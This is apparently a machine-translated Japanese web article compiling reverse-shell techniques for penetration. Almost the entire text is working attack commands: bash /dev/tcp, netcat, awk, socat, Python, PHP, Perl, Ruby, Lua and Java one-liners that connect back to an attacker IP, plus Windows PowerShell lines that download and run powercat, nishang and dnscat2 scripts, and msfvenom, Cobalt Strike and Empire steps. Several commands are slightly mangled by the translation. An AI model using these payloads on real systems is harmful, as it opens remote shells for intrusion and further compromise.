1. ホーム
  2. スクリプト・コラム
  3. リナックスシェル

バウンスシェルのいくつかのポーズをまとめたもの

2022-01-05 18:24:48

侵入プロセスでは、ポート制限によりターゲットマシンに直接接続できないことが多いため、さらに深く侵入を続けるためにはシェルをバウンスして対話型シェルを取得する必要があります。

バウンスシェルは、イントラネットのアクセスを開放する最初のステップであり、権限昇格のプロセスにおいて重要なステップとなります。すべてのポーズはウェブから照合され、例えば、攻撃者がホストしていると仮定します。例えば、攻撃者が 192.168.99.242 をホストし、ローカルにポート 1234 でリッスンしていると仮定します。

Linux バウンスシェル

ポーズ1:bashバウンス

bash -i >& /dev/tcp/192.168.99.242/1234 0>&1

base64 version: bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{{base64,-d}|{bash,-i}'



オンラインコーディングアドレスです。 http://www.jackson-t.ca/runtime-exec-payloads.html

その他のバージョン

exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $line 2>&5 >&5;done
exec /bin/sh 0</dev/tcp/192.168.99.242/1234 1>&0 2>&0


ポーズ2:ncバウンス

nc -e /bin/bash 192.168.99.242 1234


ポジション3:awkバウンス

awk 'BEGIN{s="/inet/tcp/0/192.168.99.242/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'


ポーズ4:telnetバウンス

注意:攻撃側ホストのポート1234と4321をそれぞれリッスンする必要があります。bounceシェルコマンドを実行した後、1234番端子と4321番端子にコマンドを入力し、コマンド実行後の結果を確認します。

telnet 192.168.99.242 1234 | /bin/bash | telnet 192.168.99.242 4321


ポーズ5:ソカットバウンス

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.99.242:1234


ポーズ6 パイソンバウンス

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.99.242',1234));os. dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"


ポーズ7 PHPバウンス

php -r '$sock=fsockopen("192.168.99.242",1234);exec("/bin/sh -i <&3 >&3 2>&3");'


ポーズ8 パールバウンス

perl -e 'use Socket;$i="192.168.99.242";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S, sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">& S");exec("/bin/sh -i");};'


ポーズ9 ルビーバウンス

ruby -rsocket -e'f=TCPSocket.open("192.168.99.242",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&% d",f,f,f)'


ポーズ10:ルアバウンス

lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.99.242','1234');os.execute('/bin/sh -i <&3 >& amp;3 2>&3');"


ポーズ11: JAVA Bounce

public class Revs {
    /**
    * @param args
    * @throws Exception 
    */
public static void main(String[] args) throws Exception {
        // TODO Auto-generated method stub
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $ line 2>&5 >&5; done"};
        Process p = r.exec(cmd);
        p.waitFor();
    }
}

Revs.javaファイルとして保存し、コンパイルして実行すると、正常にシェルがバウンスされました。

javac Revs.java 
java Revs

 Windowsバウンスシェル

ポーズ1:ncバウンス

netcat ダウンロード。 https://eternallybored.org/misc/netcat/

サーバー側バウンス: nc 192.168.99.242 1234 -e c:\windowssystem32cmd.exe

ポジション2:Powershellバウンス

powercatはnetcatのpowershell版で、netcatよりもはるかに優れた無機能の殺傷能力を持っています。

PS C:\WWW>powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/ master/powercat.ps1'); powercat -c 192.168.99.242 -p 1234 -e cmd


ターゲットマシーンにダウンロードし、ローカルで実行する。

PS C:\WWW> Import-Module . /powercat.ps1PS C:\WWW> powercat -c 192.168.99.242 -p 1234 -e cmd


ポーズ3:MSFバウンスシェル

msfvenomを使用して、関連するPayloadを生成します。

msfvenom -l payloads | grep 'cmd/windows/reverse'
msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.99.242 LPORT=1234


ポーズ4:コバルトストライクバウンスシェル

1. リスナーを設定します。Cobalt Strike --> Listeners --> 下部のタブメニューListenersで、addをクリックします。
2、ペイロードを生成する。攻撃-->パッケージ-->Windows実行ファイルをクリックし、ファイルの場所を保存します。
3. 3. ターゲットマシン上でpowershellペイロードを実行する。

ポーズ5:エンパイア・バウンス・シェル

usestager windows/launcher_vbs
set
set Listener test
execute


ポーズ6:ニシャンバウンスシェル

逆TCPシェル。

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com /samratashok/nishang/ 9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 10.1.1.210 -port 1234


UDPシェルを逆向きにする。

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/ 9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 10.1.1.210 -port 1234


ポーズ7 Dnscatバウンスシェル

githubプロジェクトのアドレスです。

https://github.com/iagox86/dnscat2

サーバー側

ruby dnscat2.rb --dns "domain=lltest.com,host=xx.xx.xx.xx" --no-cache -e open -e open 


対象ホスト

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/ master/dnscat2.ps1');Start-Dnscat2 -Domain lltest.com -DNSServer xx.xx.xx.xx


これは、バウンスシェルのいくつかの姿勢に関するこの記事の終わりです、より関連するバウンスシェルの内容は、スクリプトハウスの以前の記事を検索してくださいまたは、次の関連記事を閲覧し続けるあなたは将来的にスクリプトハウスをよりサポートすることを願って!.